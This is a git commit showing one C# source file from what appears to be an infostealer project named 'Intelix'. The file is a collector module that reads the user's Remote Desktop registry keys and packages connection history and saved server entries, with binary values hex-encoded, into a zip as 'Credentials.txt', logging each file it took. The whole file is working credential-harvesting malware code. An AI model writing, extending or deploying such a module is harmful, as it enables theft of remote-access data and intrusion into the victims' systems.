initial commit

2026-08-27 10:55:23 -06:00
commit d03dc0bce1
356 changed files with 18535 additions and 0 deletions
@@ -0,0 +1,103 @@
+using System;
+using System.Text;
+using Intelix.Helper.Data;
+using Microsoft.Win32;
+
+namespace Intelix.Targets.Applications;
+
+public class Rdp : ITarget
+{
+	public void Collect(InMemoryZip zip, Counter counter)
+	{
+		string text = "Software\\Microsoft\\Terminal Server Client";
+		RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(text);
+		if (registryKey == null)
+		{
+			return;
+		}
+		string text2 = "Rdp";
+		Counter.CounterApplications counterApplications = new Counter.CounterApplications();
+		counterApplications.Name = "RDP";
+		RegistryKey registryKey2 = registryKey.OpenSubKey("Default");
+		if (registryKey2 != null)
+		{
+			StringBuilder stringBuilder = new StringBuilder();
+			string[] valueNames = registryKey2.GetValueNames();
+			foreach (string name in valueNames)
+			{
+				try
+				{
+					object value = registryKey2.GetValue(name);
+					if (value != null)
+					{
+						stringBuilder.AppendLine(value.ToString());
+					}
+				}
+				catch
+				{
+				}
+			}
+			if (stringBuilder.Length > 0)
+			{
+				string text3 = text2 + "\\History.txt";
+				byte[] bytes = Encoding.UTF8.GetBytes(stringBuilder.ToString() + "\n");
+				zip.AddFile(text3.Replace('\\', '/'), bytes);
+				counterApplications.Files.Add(text + "\\Default => " + text3.Replace('\\', '/'));
+			}
+		}
+		RegistryKey registryKey3 = registryKey.OpenSubKey("Servers");
+		if (registryKey3 != null)
+		{
+			StringBuilder stringBuilder2 = new StringBuilder();
+			string[] valueNames = registryKey3.GetSubKeyNames();
+			foreach (string text4 in valueNames)
+			{
+				try
+				{
+					RegistryKey registryKey4 = registryKey3.OpenSubKey(text4);
+					if (registryKey4 == null)
+					{
+						continue;
+					}
+					stringBuilder2.AppendLine(text4 + ":");
+					string[] valueNames2 = registryKey4.GetValueNames();
+					foreach (string text5 in valueNames2)
+					{
+						try
+						{
+							object value2 = registryKey4.GetValue(text5);
+							if (value2 is byte[] array)
+							{
+								string text6 = BitConverter.ToString(array).Replace("-", "");
+								stringBuilder2.AppendLine(text5 + ": " + text6);
+							}
+							else
+							{
+								stringBuilder2.AppendLine($"{text5}: {value2}");
+							}
+						}
+						catch
+						{
+						}
+					}
+					stringBuilder2.AppendLine();
+				}
+				catch
+				{
+				}
+			}
+			if (stringBuilder2.Length > 0)
+			{
+				string text7 = text2 + "\\Credentials.txt";
+				byte[] bytes2 = Encoding.UTF8.GetBytes(stringBuilder2.ToString());
+				zip.AddFile(text7.Replace('\\', '/'), bytes2);
+				counterApplications.Files.Add(text + "\\Servers => " + text7.Replace('\\', '/'));
+			}
+		}
+		if (counterApplications.Files.Count > 0)
+		{
+			counterApplications.Files.Add(text2);
+			counter.Applications.Add(counterApplications);
+		}
+	}
+}